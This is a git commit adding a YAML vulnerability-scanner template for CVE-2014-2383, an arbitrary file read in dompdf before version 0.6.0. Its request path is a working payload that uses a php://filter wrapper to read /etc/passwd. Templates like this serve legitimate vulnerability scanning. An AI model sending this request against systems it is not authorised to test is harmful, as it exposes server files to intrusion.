Create CVE-2014-2383.yaml

2021-06-10 18:45:21 +09:00 · 2021-06-10 18:45:21 +09:00 · ee3900e837
parent 8be097abf5
commit ee3900e837
1 changed files with 24 additions and 0 deletions
--- a/CVE-2014-2383.yaml
+++ b/CVE-2014-2383.yaml
@ -0,0 +1,24 @@
+id: arbitrary-file-read-in-dompdf
+
+info:
+  name: Arbitrary file read in dompdf < v0.6.0
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/33004
+  tags: dompdf,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200